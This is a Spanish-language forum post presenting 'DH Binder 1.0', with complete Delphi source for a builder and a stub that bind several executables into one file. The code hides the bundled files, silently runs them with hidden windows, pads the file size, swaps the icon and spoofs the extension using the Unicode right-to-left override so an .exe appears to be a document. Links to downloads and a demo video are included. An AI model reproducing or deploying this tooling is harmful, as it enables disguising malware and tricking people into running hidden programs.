Nueva version de este simple binder que hice en Delphi con las siguientes opciones :
- Junta todos los archivos que quieran con opcion de cargar normal , oculto o solo extraer
- Se puede seleccionar donde se extraen los archivos
- Se puede cargar los archivos de forma oculta o normal
- Se puede ocultar los archivos
- Se puede elegir el icono del ejecutable generado
- El builder incluye un File Pumper,Icon Changer y Extension Spoofer
Una imagen :
(http://doddyhackman.webcindario.com/images/dhbinder10.jpg)
Los codigos :
El generador.
// DH Binder 1.0
// (C) Doddy Hackman 2015
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle
unit binder;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
Vcl.ExtCtrls, ShellApi, Vcl.ImgList, Vcl.Menus, Vcl.Imaging.pngimage, madRes,
StrUtils;
type
TForm1 = class(TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
TabSheet2: TTabSheet;
TabSheet3: TTabSheet;
PageControl2: TPageControl;
TabSheet4: TTabSheet;
TabSheet5: TTabSheet;
GroupBox1: TGroupBox;
PageControl3: TPageControl;
TabSheet6: TTabSheet;
TabSheet7: TTabSheet;
TabSheet8: TTabSheet;
files: TListView;
StatusBar1: TStatusBar;
GroupBox2: TGroupBox;
archivo_nuevo: TEdit;
Button1: TButton;
GroupBox3: TGroupBox;
execute: TComboBox;
abrir: TOpenDialog;
GroupBox4: TGroupBox;
Button2: TButton;
GroupBox5: TGroupBox;
extraction: TComboBox;
GroupBox6: TGroupBox;
opcion_ocultar: TCheckBox;
check_filepumper: TCheckBox;
GroupBox7: TGroupBox;
GroupBox8: TGroupBox;
pumper_count: TEdit;
UpDown1: TUpDown;
pumper_type: TComboBox;
check_extension_changer: TCheckBox;
GroupBox9: TGroupBox;
check_extension: TCheckBox;
extensiones: TComboBox;
GroupBox10: TGroupBox;
check_this_extension: TCheckBox;
extension: TEdit;
GroupBox11: TGroupBox;
ruta_icono: TEdit;
Button3: TButton;
GroupBox12: TGroupBox;
use_icon_changer: TCheckBox;
preview: TImage;
imagenes: TImageList;
menu: TPopupMenu;
C1: TMenuItem;
Image2: TImage;
GroupBox13: TGroupBox;
Button4: TButton;
TabSheet9: TTabSheet;
GroupBox14: TGroupBox;
Image3: TImage;
Label1: TLabel;
D1: TMenuItem;
abrir_icono: TOpenDialog;
procedure Button1Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure C1Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure D1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
procedure file_pumper(archivo: string; cantidad: LongWord);
var
arraycantidad: array of Byte;
abriendo: TFileStream;
begin
abriendo := TFileStream.Create(archivo, fmOpenReadWrite);
SetLength(arraycantidad, cantidad);
ZeroMemory(@arraycantidad[1], cantidad);
abriendo.Seek(0, soFromEnd);
abriendo.Write(arraycantidad[0], High(arraycantidad));
abriendo.Free;
end;
procedure extension_changer(archivo: string; extension: string);
var
nombre: string;
begin
nombre := ExtractFileName(archivo);
nombre := StringReplace(nombre, ExtractFileExt(nombre), '',
[rfReplaceAll, rfIgnoreCase]);
nombre := nombre + char(8238) + ReverseString('.' + extension) + '.exe';
MoveFile(PChar(archivo), PChar(ExtractFilePath(archivo) + nombre));
end;
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := length(texto);
for num := 1 to cantidad div 2 do
begin
aca := char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
//
procedure TForm1.Button1Click(Sender: TObject);
begin
if (abrir.execute) then
begin
archivo_nuevo.Text := abrir.FileName;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
var
icono: TIcon;
listate: TListItem;
getdata: SHFILEINFO;
begin
if (FileExists(archivo_nuevo.Text)) then
begin
icono := TIcon.Create;
files.Items.BeginUpdate;
with files do
begin
listate := files.Items.Add;
listate.Caption := ExtractFileName(archivo_nuevo.Text);
listate.SubItems.Add(archivo_nuevo.Text);
listate.SubItems.Add(ExtractFileExt(archivo_nuevo.Text));
listate.SubItems.Add(execute.Text);
SHGetFileInfo(PChar(archivo_nuevo.Text), 0, getdata, SizeOf(getdata),
SHGFI_ICON or SHGFI_SMALLICON);
icono.Handle := getdata.hIcon;
listate.ImageIndex := imagenes.AddIcon(icono);
DestroyIcon(getdata.hIcon);
end;
files.Items.EndUpdate;
archivo_nuevo.Text := '';
StatusBar1.Panels[0].Text := '[+] File Added';
Form1.StatusBar1.Update;
end
else
begin
StatusBar1.Panels[0].Text := '[-] File not exists';
Form1.StatusBar1.Update;
end;
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
if (abrir_icono.execute) then
begin
ruta_icono.Text := abrir_icono.FileName;
preview.Picture.LoadFromFile(abrir_icono.FileName);
end;
end;
procedure TForm1.Button4Click(Sender: TObject);
var
i: integer;
nombre: string;
ruta: string;
tipo: string;
savein: string;
opcionocultar: string;
lineafinal: string;
uno: DWORD;
tam: DWORD;
dos: DWORD;
tres: DWORD;
todo: Pointer;
change: DWORD;
valor: string;
stubgenerado: string;
ruta_archivo: string;
tipocantidadz: string;
extensionacambiar: string;
begin
StatusBar1.Panels[0].Text := '[+] Working ...';
Form1.StatusBar1.Update;
if (files.Items.Count = 0) or (files.Items.Count = 1) then
begin
ShowMessage('You have to choose two or more files');
end
else
begin
stubgenerado := 'done.exe';
if (opcion_ocultar.Checked = True) then
begin
opcionocultar := '1';
end
else
begin
opcionocultar := '0';
end;
if (extraction.Items[extraction.ItemIndex] = '') then
begin
savein := 'USERPROFILE';
end
else
begin
savein := extraction.Items[extraction.ItemIndex];
end;
DeleteFile(stubgenerado);
CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
stubgenerado), True);
ruta_archivo := ExtractFilePath(Application.ExeName) + '/' + stubgenerado;
uno := BeginUpdateResource(PChar(ruta_archivo), True);
for i := 0 to files.Items.Count - 1 do
begin
nombre := files.Items[i].Caption;
ruta := files.Items[i].SubItems[0];
tipo := files.Items[i].SubItems[2];
lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
'[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
'[63686175]';
dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
tam := GetFileSize(dos, nil);
GetMem(todo, tam);
ReadFile(dos, todo^, tam, tres, nil);
CloseHandle(dos);
UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);
end;
EndUpdateResource(uno, False);
end;
//
if (check_filepumper.Checked) then
begin
tipocantidadz := pumper_type.Items[pumper_type.ItemIndex];
if (tipocantidadz = 'Byte') then
begin
file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 8);
end;
if (tipocantidadz = 'KiloByte') then
begin
file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1024);
end;
if (tipocantidadz = 'MegaByte') then
begin
file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1048576);
end;
if (tipocantidadz = 'GigaByte') then
begin
file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1073741824);
end;
if (tipocantidadz = 'TeraByte') then
begin
file_pumper(ruta_archivo, StrToInt(pumper_count.Text) * 1099511627776);
end;
end;
if (use_icon_changer.Checked) then
begin
try
begin
change := BeginUpdateResourceW
(PWideChar(wideString(ruta_archivo)), False);
LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
PWideChar(wideString(ruta_icono.Text)));
EndUpdateResourceW(change, False);
end;
except
begin
//
end;
end;
end;
if (check_extension_changer.Checked) then
begin
if not(check_extension.Checked and check_this_extension.Checked) then
begin
if (check_extension.Checked) then
begin
extensionacambiar := extensiones.Items[extensiones.ItemIndex];
extension_changer(ruta_archivo, extensionacambiar);
end;
if (check_this_extension.Checked) then
begin
extension_changer(ruta_archivo, extension.Text);
end;
end;
end;
StatusBar1.Panels[0].Text := '[+] Done';
Form1.StatusBar1.Update;
end;
procedure TForm1.C1Click(Sender: TObject);
begin
files.Clear;
imagenes.Clear;
end;
procedure TForm1.D1Click(Sender: TObject);
begin
files.DeleteSelected;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
abrir.InitialDir := GetCurrentDir;
abrir_icono.InitialDir := GetCurrentDir;
abrir_icono.Filter := 'ICO|*.ico|';
end;
end.
// The End ?
El Stub.
// DH Binder 1.0
// (C) Doddy Hackman 2015
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle
program stub;
uses
System.SysUtils, ShellApi, Windows;
function regex(text: String; deaca: String; hastaaca: String): String;
begin
Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
SetLength(text, AnsiPos(hastaaca, text) - 1);
Result := text;
end;
function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
num: integer;
aca: string;
cantidad: integer;
begin
num := 0;
Result := '';
aca := '';
cantidad := 0;
if (opcion = 'encode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad do
begin
aca := IntToHex(ord(texto[num]), 2);
Result := Result + aca;
end;
end;
if (opcion = 'decode') then
begin
cantidad := Length(texto);
for num := 1 to cantidad div 2 do
begin
aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
Result := Result + aca;
end;
end;
end;
procedure cargar_archivo(archivo: TFileName; tipo: string);
var
data: SHELLEXECUTEINFO;
begin
if (FileExists(archivo)) then
begin
ZeroMemory(@data, SizeOf(SHELLEXECUTEINFO));
data.cbSize := SizeOf(SHELLEXECUTEINFO);
data.fMask := SEE_MASK_NOCLOSEPROCESS;
data.Wnd := 0;
data.lpVerb := 'open';
data.lpFile := PChar(archivo);
if (tipo = 'Show') then
begin
data.nShow := SW_SHOWNORMAL;
end;
if (tipo = 'Hide') then
begin
data.nShow := SW_HIDE;
end;
if not ShellExecuteEx(@data) then
if GetLastError <= 32 then
begin
SysErrorMessage(GetLastError);
end;
end;
end;
//
// Start the game
function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
var
data: DWORD;
uno: DWORD;
dos: DWORD;
cinco2: string;
nombre: string;
tipodecarga: string;
ruta: string;
ocultar: string;
begin
Result := True;
cinco2 := cinco;
cinco2 := regex(cinco2, '[63686175]', '[63686175]');
cinco2 := dhencode(cinco2, 'decode');
cinco2 := LowerCase(cinco2);
nombre := regex(cinco2, '[nombre]', '[nombre]');
tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
ocultar := regex(cinco2, '[hide]', '[hide]');
if not(tipodecarga = '') then
begin
data := FindResource(0, cinco, cuatro);
uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE,
nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(uno, LockResource(LoadResource(0, data))^,
SizeOfResource(0, data), dos, nil);
CloseHandle(uno);
if (ocultar = '1') then
begin
SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
end;
if (tipodecarga = 'normal') then
begin
// Writeln('Abriendo normal');
cargar_archivo(ruta + nombre, 'Show');
end;
if (tipodecarga = 'hide') then
begin
// Writeln('Abriendo oculto');
cargar_archivo(ruta + nombre, 'Hide');
end;
end;
end;
begin
EnumResourceNames(0, RT_RCDATA, @start, 0);
end.
// The End ?
Un video con ejemplos de uso :
[youtube=640,360]https://www.youtube.com/watch?v=GnyKSmXR9q4[/youtube]
Si quieren bajar el programa lo pueden hacer de aca :
SourceForge (https://sourceforge.net/projects/dhbinder/).
Github (https://github.com/DoddyHackman/DH_Binder).